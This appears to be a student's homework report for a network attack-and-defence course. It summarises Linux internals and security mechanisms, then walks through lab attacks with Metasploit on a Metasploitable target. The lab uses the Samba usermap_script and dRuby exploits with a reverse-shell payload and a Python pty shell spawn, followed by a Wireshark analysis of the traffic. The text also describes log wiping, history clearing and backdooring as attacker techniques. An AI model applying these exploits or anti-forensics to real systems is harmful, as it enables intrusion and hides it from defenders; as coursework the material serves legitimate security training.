20199102 2019-2020-2 《网络攻防实践》第八周作业
20199102 2019-2020-2 《网络攻防实践》第八周作业
0 总体结构
本次作业属于那个课程 | 《网络攻防实践》 |
---|---|
这个作业要求在哪里 | 第八次作业 Linux操作系统攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术、掌握网络攻防相关能力 |
这个作业在哪个具体方面帮助我实现目标 | 了解Linux下网络攻防的技术 |
作业正文 | 下述正文,1,2,3, 4部分 |
其他参考文献 | 见正文最后部分 |
1.实践内容
1.1 Linux操作系统基本框架概述
-
linux系统整体架构及详细介绍如下
图1 Linux系统整体架构图Process Scheduler
:进程管理或进程调度,负责管理CPU资源,以便让各个进程可以尽量公平的方式访问CPU;Memory Manager
:内存管理,负责管理内存资源,以便让各个进程可以安全地共享机器的内存资源,内存管理还提供虚拟内存的机制,可以让进程使用多余物理内存大小的内存,即不用的内存通过文件系统保存在外存中,而需要使用的时候则加载到内存中;VFS(Virtual File System)
:虚拟文件系统,Linux将不同功能的外围设备(比如硬盘/磁盘、输入输出设备、显示设备等)抽象为可以通过统一的文件操作接口(比如open、read、write、close)来访问,这就是Linux系统“一切皆是文件”的体现;(但是并不彻底,因为CPU、内存、网络等还不是文件)Network
:网络子系统,负责管理熊的网络设备,实现多种多样的网络标准;IPC
:进程间通信,IPC不管理任何的硬件,仅仅是负责Linux系统中的进程间通信;
-
Linux系统进程和线程管理机制
- 传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。
- 进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复。
- 调度:内核必须确定如何在现存进程之间共享CPU时间。重要进程得到的CPU时间多一点,次要进程少一点,确定哪个进程运行多长时间的过程称为调度。
-
Linux系统内存管理机制
-
内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间
图2 Linux系统虚拟地址空间的划分 -
虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。
图3 Linux系统内存管理子系统 -
Architecture Specific Managers,体系结构相关部分。提供用于访问硬件Memory的虚拟接口。
-
Architecture Independent Manager,体系结构无关部分。提供所有的内存管理机制
-
System Call Interface,系统调用接口
-
特权级别:内核把虚拟地址空间划分为两个部分,因此能够保护各个系统进程,使之彼此分离。所有现代的CPU都提供了几种特权级别,进程可以驻留在某一个特权级别。IA-32体系结构使用4种特权级别构成的系统,各级别可以看作是环,如图3所示。Linux只使用两种不同的状态:核心态和用户状态。两种状态的关键差别在于用户状态禁止访问内核空间。
图4 Linux系统特权级别的环状系统 -
上下文相关的执行权限
图5 在核心态和用户态执行(CPU大多时间在执行用户空间中代码,当应用程序执行系统调用时切换到核心态,此时,内核可以访问虚拟地址空间用户部分。系统调用结束后CPU回到用户状态。硬件中断也可以使CPU切换到核心态,这种情况下内核不能访问用户空间)
-
-
Linux系统的设备处理机制
- 设备驱动程序:Linux内核中处理或者管理硬件控制器的软件。
- 基本特点是:抽象了设备的处理。
- Linux支持三类硬件设备:字符设备、块设备和网络设备。
-
Linux系统的网络机制
-
网络子系统在Linux内核中主要负责管理各种网络设备,并实现各种网络协议栈,最终实现通过网络连接其它系统的功能。在Linux内核中,网络子系统几乎是自成体系,它包括5个子模块(见下图),它们的功能如下:
图6 Linux网络子系统(Net) -
Network Device Drivers
,网络设备的驱动,和VFS子系统中的设备驱动是一样的。 -
Device Independent Interface
,和VFS子系统中的是一样的。 -
Network Protocols
,实现各种网络传输协议,例如IP, TCP, UDP等等。 -
Protocol Independent Interface
,屏蔽不同的硬件设备和网络协议,以相同的格式提供接口。 -
System Call interface
,系统调用接口,向用户空间提供访问网络设备的统一的接口。
-
-
Linux系统的虚拟文件系统
-
虚拟文件系统(Virtual Filesystem, VFS):管理各种各样的文件系统,屏蔽它们的差异,以统一的方式,为用户程序提供访问文件的接口。VFS子系统包括6个子模块(见下图),它们的功能如下:
图7 Linux虚拟文件系统 -
Device Drivers
,设备驱动,用于控制所有的外部设备及控制器。由于存在大量不能相互兼容的硬件设备,所以也有非常多的设备驱动。 -
Device Independent Interface
, 该模块定义了描述硬件设备的统一方式(统一设备模型),所有的设备驱动都遵守这个定义,可以降低开发的难度。同时可以用一致的形势向上提供接口。 -
Logical Systems
,每一种文件系统,都会对应一个Logical System(逻辑文件系统),它会实现具体的文件系统逻辑。 -
System Independent Interface
,该模块负责以统一的接口(快设备和字符设备)表示硬件设备和逻辑文件系统,这样上层软件就不再关心具体的硬件形态了。 -
System Call Interface
,系统调用接口,向用户空间提供访问文件系统和硬件设备的统一的接口。
-
-
Linux系统的调用机制
- 系统调用:程序透过访问接口来访问硬件设备和其他系统资源。
- Linux系统的系统调用通过软中断来实现
1.2 Linux操作系统安全机制
-
Linux身份认证机制
-
用户是Linux身份认证的主题,按照不同的角色类型具体分为以下三类:
Root根用户
、普通用户
和系统用户
。 -
Linux用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。Linux用户组信息保存在
/etc/gshadow
文件中,可以使用id -a
来进行查询当前用户所属用户组。 -
登录认证机制:Linux通过
init进程
执行启动getty
产生若干个虚拟控制台,每个控制台执行login
进程执行认证过程,认证通过之后,login进程
会fork响应的Shell子进程
,至此完成登录过程。再这个过程中,使用带salt的密文保存密码,加密算法为若干种加密算法的选择。 -
Linux的远程登录认证机制:第一种是基于口令的身份认证机制;第二种是基于非对称密码的身份认证机制。此外Linux系统中的大量网络服务都实现了自己的身份认证机制,如
MD5散列
、LANMAN\NTLM
散列算法等等。 -
PAM: Linux统一身份认证中间件。PAM的核心部分是库(libpam)和PAM模块的集合,它们是位于文件夹
/lib/security/
中的动态链接库(.so)文件,以及位于/etc/pam.d/
目录中的各个PAM模块配置文件。PAM为认证任务提供四种可用的模块接口。模块 说明 √auth - 认证模块接口,如验证用户身份、检查密码是否可以通过,并设置用户凭据 √account - 账户模块接口,检查指定账户是否满足当前验证条件,如用户是否有权访问所请求的服务,检查账户是否到期 √password - 密码模块接口,用于更改用户密码,以及强制使用强密码配置 √session - 会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效
-
-
Linux授权与访问控制机制
- Linux通过上文提到的VFS虚拟文件系统来实现对不同类别文件系统格式的支持,
- 文件所有者:使用文件所有者的
uid
和gid
来指明文件的所有者,在用户创建文件的时候自动进行写入。 - 文件访问权限:文件访问权限通过附带的10个标志位来来进行设置。 第一位表示文件类型,二至九位每三位分成一组。组内三位分别表示,读取权限、写入权限和执行权限。三组分别代表所有者、所有组和所有用户。
- 特殊执行权限:设置了
SUID
或SGID
的文件。SUID
允许执行文件在运行时刻从运行者的身份提升至文件所有者权限。SGID
与SUID
类似,仅仅是以权限组的形式进行运行。 - 不足及改进:访问权限的细粒度不足,不支持完整的ACL访问控制列表设置。
-
Linux安全审计机制
- 三个日志子系统:
连接时间日志
、进程统计日志
和错误日志纪录
。 - /var/log/message 系统启动后的信息和错误日志,是Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件
- 三个日志子系统:
1.3 Linux系统远程攻防技术
- 远程口令字猜测攻击
- 通过前面提到的服务嗅探用户账户名或者使用缺省内件账户的用户名进行密码猜测。
- 口令字猜测攻击通常针对使用弱口令的的账户破解。
- 除了SSH网络服务之外,还可以通过对
HTTP/HTTPS
、FTP
等用于自己账户体系和身份认证机制的网络服务进行猜测。 - 口令猜测的常用工具如下:
Brutus
、THC Hydra
、Cain and Abel
等工具。
- 防御远程口令猜测技术
- 确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。
- 特权账户应避免远程直接登录,只能在本地登录。
- 口令长度至少达到8位,包含字母、数字和标点符号。
- 对多次认证失败进行纪录,并在多次无效登录之后断掉连接
- 不要再自己登录的所有系统上都使用相同的口令字
- 并要笔录自己的口令字
- 使用基于公开密钥证书的身份认证机制。
- 修改网络服务的默认端口。
- 网络服务远程渗透攻击
- Linux内核中的网络协议栈攻击
- LAMP WEB网站中的网络服务攻击
- FTP、Samba等文件共享服务
- 电子邮件收发服务
- 其他网络服务的攻击
- 网络服务远程渗透攻击的安全防范措施
- 禁用不必要的网络服务
- 尽量选择更安全的网络协议和服务软件
- 及时更新网络服务版本
- 使用防火墙为Linux网络服务添加网络访问控制
- 建立入侵检测与应急响应计划流程
- 攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序
- 攻击Linux系统用户
- 针对Linux客户端攻击的防范措施
- 及时更新软件
- 在下载软件的时候通过官方下载渠道,并校验MD5
- 攻击linux路由器和监听器
- 针对使用Linux作为路由器系统的路由器的攻击
- 针对Linux下运行的监听器的攻击,如
wireshark
、dumpcap
等等
- 针对攻击路由器和监听器的防范
- 增强安全意识,关注厂商的安全威胁报告
- 及时进行固件的升级
- 掌握攻击者的入侵渗透手段,并进行渗透测试。
1.4 Linux系统本地安全攻防技术
- Linux本地特权提升
- 本地特权提升的三种常用方式:
破解Root用户的口令
、发掘su和sudo程序中的安全漏洞
以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
- Linux口令字破解:通过
/etc/shadow
文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。 - sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
- 利用用户态SUID程序:主要包括
利用程序漏洞进行特权提升
、本地缓冲区溢出攻击
、符号连接攻击
、竞争条件攻击
、共享函数库攻击
等
- 本地特权提升的三种常用方式:
- 本地特权提升的防范措施
- 在安装软甲的过程中评估风险
- 及时对服务器进行升级维护
- 安全的配置系统,设置强口令字,
- 使用SELinux等安全增强模块
- Linux系统上的消踪灭迹
- 通过对
message
、auth
、secure
和xferlog
等日志文件进行修改做到日志的清理 - 通过对
.bahs_history
文件的清理,清理shell的命令痕迹
- 通过对
- 防范日志消除
- 将日志信息写道难以修改的媒体介质上
- 将日志信息使用
syslog
网络机制写道防护严密的安全日志服务器上去。
- Linux系统远程控制后门程序
- 通过替换对系统原有的远程登录程序进行替换实现后门
- 通过图形化远程控制软件例如
VNC
实现攻击
2.实践过程
2.1 动手实践:使用Metaploit进行Linux远程渗透攻击
- 使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
- 使用
exploit:exploit/multi/samba/usermap_script
渗透攻击模块 - 选择攻击PAYLOAD为远程shell
- 设置攻击参数
- 执行攻击
- 查看是否得到正确的远程shell
-
首先,通过命令
msfconsole
启动渗透软件,通过命令use exploit/multi/samba/usermap_script
使用渗透攻击模块。
图8 使用渗透攻击模块 -
设置攻击的
PAYLOAD
为cmd/unix/reverse
图9 设置PAYLOAD -
设置攻击参数
RHOST
为靶机地址192.168.200.6
,并通过run
开始攻击
图10 设置靶机地址并开始攻击 -
攻击结果如图下图所示
图11 攻击结果 -
通过命令
whomai
查看当前权限账户
图12 查看权限
2.2 实践作业:攻防对抗实验
- 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
- 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
- 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
- 攻击方
-
这里首先使用
nmap
扫描靶机,查看开放的端口,及端口上程序的版本
图13 nmap扫描靶机网络服务 -
接下来使用
nessus
扫描靶机的相关漏洞,原理和方法在之前的博客中都提到过,这里不再赘述。
图14 Nessus扫描靶机漏洞 -
在上述漏洞中选择
dRuby
漏洞作为我们的攻击漏洞,在msfconsole
中使用use exploit/linux/misc/drb_remote_codeexec
使用渗透攻击模块 -
图15 使用drb漏洞攻击 -
通过指令
set PAYLOAD cmd/unix/reverse
设置攻击负载,并通过指令run
开启攻击。
图16 设置攻击负载并开启攻击 -
通过命令
shell
打开shell,通过明林id
查看shell权限账户及其所在的权限组。
图17 打开shell并查看权限
- 防守方
-
通过对数据包流量及数据包内容的分析,可以看出攻击方是
192.168.200.2
图18 数据包的流量分析 -
目标IP端口通过对嗅探报文的分析可以看出攻击方连接的端口均局限在
8787
端口上。
图19 嗅探得到的数据包 -
攻击发起时间,从第一个数据包开始,攻击机开始尝试连接靶机的
8787
端口 -
攻击利用漏洞:
8787
是攻击的目标端口,通过查看nmap结果可以直到,这个端口是druby
服务的端口,进而得知这是针对drb漏洞
的攻击。 -
使用的shellcode1、2:在wireshark抓包的过程中我们可以看到两个shellcode,其中第一次攻击失败,第二次才攻击成功建立连接,具体如下图:
图20 第一次失败的shellcode
图21 第二次成功的shellcode -
使用的shellcode3、4:首先,
drb漏洞
是一个单向的漏洞,一个shell只能用于执行,另一个shell用于获取输出。因此这里攻击脚本通过执行echo qxfd4XMxi1R6TKSK
命令确定建立的两个连接哪一个是执行窗口哪一个是输出窗口。接下来通过执行上文写入的.cPdhUM1WsAhAbt77
进一步获取相关权限,执行成功之后进行痕迹清理,截图如下
图22 后续shellcode -
攻击之后本地执行的指令:这里我们看到首先执行的是
where python
来查询python解释器的位置,接下来是一串执行脚本,我们对脚本内的编码之后的字符串aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==
进行base64解码,得到import pty;pty.spawn('/bin/sh')
可以看到这里是通过借用python的权限弹出具有高权限的窗口。接下来就是明文传输的指令ifconfig
和id
。如下图所示。
图23 base64解密
图24 命令执行过程
3.学习中遇到的问题及解决
- 问题1:如何找到15-20年的漏洞对
Metasploit
进行攻击 - 问题1解决方案:找到五个可以利用的近些年的漏洞。其中四个是ssl的密码漏洞,比较简单的一个是之前写过的
padding oracle
,密码攻击的代码写出来了,但是不知道怎么拦截数据包。另一个是2020年的GHOSTCAT
漏洞,这个漏洞只能用来获取服务器数据或者执行,因此要先通过别的漏洞将后门程序上传进去在使用这个程序调用后门,总之没成功。然后我想自己装一个新一点linux系统进行攻击,由于上次防火墙实验我把自己挡在了防火墙外,只能用云服务器了,结果阿里云提供的镜像在不进行特殊配置的情况下是没有漏洞的(至少nessus没扫描到)。
- 问题2:对书中提到的种种漏洞还是停留在调用模块进行攻击的阶段,并不能自己写出攻击代码
- 问题2解决方案:容我再慢慢研究研究。
4.实践总结
这次作业花费的最长的时间在于如何找到一个15年之后的漏洞
进行攻击。从密码学到Web漏洞,从早上7点起床到现在凌晨2点,除了吃饭我已经在这坐了快20个小时了,可能我就是个弱智吧,实在做不出来了。